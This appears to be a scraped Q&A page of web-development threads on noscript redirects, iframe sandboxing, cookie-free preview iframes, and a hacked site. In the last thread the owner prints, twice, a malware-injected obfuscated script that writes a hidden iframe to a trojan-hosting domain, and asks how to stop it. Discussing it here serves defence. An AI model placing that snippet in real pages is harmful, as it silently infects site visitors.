I am having a huge problem. I need to prevent access to non javascript users for a page on my website. I am not very technical when it comes to websites, hmtl or java ect. But I have a page that i would like non javascript users to not be able to access. I have tried lots of code from here in my header and footer such as
<noscript>
<meta http-equiv="refresh" content="0; URL=nojs/index.php">
</noscript>
but it does not work.
To put this into more detail my problem is that a host a webpage with a list of download links. There is an app (web browser) for amazon devices (android) that accesses webpages and allows you to download but it comes with javascript disabled by default.
This means that my Ads dont show and i am now getting 40TB a month bandwidth usage from people using this software which means i may have to pull the site soon as it costs more to run than the ads give back.
I think i need to either block non javascript users. Or is there a way i can make my links on that page in javascript so that none javascript users cant see or use them?
In an ideal world i would just like to display a message saying please enable javascript in settings but i have tried many header codes with no success. Any help here greatly appreciated
I tried using the meta tag inside the noscript tags like you did, and it worked fine for me. Try using an absolute link to your nojs page instead of the relative one you have. I don't know of a way to completely block nonjs users. Another option would be to use the noscript tags to hide the content of your html pages when js is disabled. This won't completely disable nonjs users from seeing your pages since if they are tech-savy they could use inspect-element to unhide the page content, but for the most part it should do a good job of preventing nonjs users from viewing your page. You can also include a no script alert. For example:
<!DOCTYPE html>
<html>
<head>
<title>
</title>
<noscript>
<style>
div.content {
display: none;
}
</style>
</noscript>
</head>
<body>
<noscript>
Please enable Javascript to view this Page
</noscript>
<div class=content>
Page Content Here
</div>
</body>
</html>
Related
How can I disable flash from running in an iframe on my site?
We have a website where we give the user the option to view their site in an iframe on a makeshift mobile simulator. We wanted the user to see that their website doesn't look so great, but this doesn't work as intended for many reasons. I doesn't take into account meta-view port settings etc, but I'll figure that out later. The other problem is the flash works and don't want it to, so that they see that it wont run on iOS.
With the new HTML5 iframe sandbox attribute you can disable all plugins (including flash) in supported browswers by including the sandbox attribute. For example:
<!DOCTYPE html>
<html>
<head>
<style>iframe{height:9000px; width:100%;}</style>
</head>
<body>
<iframe sandbox="allow-scripts" src="http://www.adobe.com/software/flash/about/"/>
</body>
</html>
Will not display the flash animation, or version information. But the same code without the sandbox will:
<!DOCTYPE html>
<html>
<head>
<style>iframe{height:9000px; width:100%;}</style>
</head>
<body>
<iframe src="http://www.adobe.com/software/flash/about/"/>
</body>
</html>
Update - please see Rick's answer
The current HTML5 way is to use sandbox="allow-scripts" - this is explained in Rick's answer.
You can't control iframes on another domain from your site.
You can't run any scripts on them to remove/alter flash because of the same origin policy.
It's a security issue - imagine you could include and manipulate iframes. I could include an iframe containing http://nouveaus-bank.com and simulate events entering amounts and transferring money to my account in it.
There was an "allow-plugins" proposal for iframe sandboxing but it was rejected.
Your only option would be using a proxy on your site and putting it on your domain instead, or manipulating it on the server-side. If you can ask clients to include a code snippet on their side you can do a .postMessage and intercept it on the iframe asking it to remove the flash.
If you use an iFrame element in an HTML document, the child page will load with all of the session and cookie data from the browser.
For example:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Stack Overflow in an iFrame</title>
</head>
<body>
<h1>Stack Overflow in an iFrame</h1>
<iframe src="http://stackoverflow.com" width="640" height="480" />
</body>
</html>
Ignore for a moment that SO doesn't actually allow itself to be loaded in an iFrame. If it did, the SO page loaded by the iFrame would show you as signed in.
How can I use an iFrame without any cookies or session data? (like incognito mode in Chrome)
Why?
My company sells a product (web-app) for people to build customized websites with. When they are authenticated, and they visit their website, we show them the auth'ed version of the UI so that they can edit the content. Un-auth'ed users only see the static website. Using multiple browsers or clearing cookies is not a reasonable expectation of our users so we want to show a preview of their site to them in an iFrame so they can see what their visitors would see. We also want to show "mobile" previews of the site with smaller resolution iFrames so that they may see what their visitors would see if they came to the website on a phone. These iFrame(s) need to be loaded without access to the browser's cookies or session data so that they load in un-auth'ed mode, just like Chrome does in incognito mode.
I haven't tried anything yet because I don't know where to start. I did find out that HTML5 added some sandbox attribute values to the iFrame element, but none of them seem to help with this problem. Maybe something could be done with JavaScript, we do already use jQuery in our project.
Note: We aim to only use valid HTML5
If you fully control the webstack wouldn't it be easier to add a preview parameter that treats the user as unauthenticated?
For instance:
<iframe src="http://stackoverflow.com?preview=1" width="640" height="480" />
Followed by bypassing your authorization checks if the preview flag exists.
I am creating a personal website.So,its a very lightweight website!
The website uses jquery heavily.So if target browser doesn't have javascript enabled,my website would not work.
To resolve this issue I used this html
<html>
<head>
<script>
window.location.href="javascriptEnabled.html";
/*Since javascript is enabled redirect to javascript based page*/
</script>
</head>
<body>
Showing Static Website since javascript is not enabled..
</body>
</html>
As you can see,I am redirecting to javascript enabled page if the target browser supports it.
But if javascript is not enabled,the script would not work and then static html would be loaded which is in body tag!
I have two questions.
1>Is this the best way to resolve javacript-no javascript issue browser issue?
2>If I use window.location.href and the browser is javascript enabled,would it download the full page or would it stop at window.location.href?
To keep things simple, yes it's an OK idea. You can load content with <noscript> tags
As soon as the browser hits that window.location.href it will start redirecting, but it will still download all DOM. Browsers download all Document then it will start to render.
You can use: <body onload="document.body.style.display = 'none';"> to hide it's contents until redirect occurs.
I was talking with a friend about users who do not have javascript enabled in their browser and what could be done to show them a "no-javascript" version of your website.
Is it possible and how can it be done?
Thoughts?
Don't try to build separate JS and non-JS versions of the site. Build a non-JS version and then enhance it with JS. This makes it easier to reuse code, allows you to use object/feature detection for the entire stack, and makes it less likely that users without JavaScript will be left behind if developers update one branch of the site but not the other.
If you mean javascript, look up the <noscript> HTML tag.
If you are talking about JavaScript and want an alternate version of your site for those without, simply give them site without and put this at the top of your page:
<script type="text/javascript">
location.replace('http:javascript-version-of-your-site');
</script>
Like this:
<html>
<head>
<noscript>
<meta http-equiv="refresh" content="0;url=http://foo/noscript.htm" />
</noscript>
</head>
<body>
...
The meta refresh (declarative redirect) only gets executed if there is no script enabled on the browser. Of course, the noscript tag is only understood by browsers that have a javascript engine. If you're trying to catch browsers that have NO javascript at all (I don't know of many) then this won't work.
I use this combination of JavaScript and CSS
<html>
<style type="text/css">
.js-on
{
display: none;
}
.js-off
{
background: red;
color: White;
}
</style>
<div id='jsdetect' class='js-off'><b>Javascript is OFF</b></div>
<script type="text/javascript">
document.getElementById('jsdetect').className = 'js-on';
</script>
</html>
It's useful if your only aim is to tell the users that Javascript is not available and that the site will not work.
You can put some code to log/track/alert you about users who have JavaScript disabled by using the tag.
<noscript>
// Do Something
</noscript>
Another option open to you rather than the obvious noscript tag is to use JavaScript to drop a cookie, and then test for that cookie and deliver content appropriately. javascript ver vs non redirect or span
just thought I'd throw that in there..
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!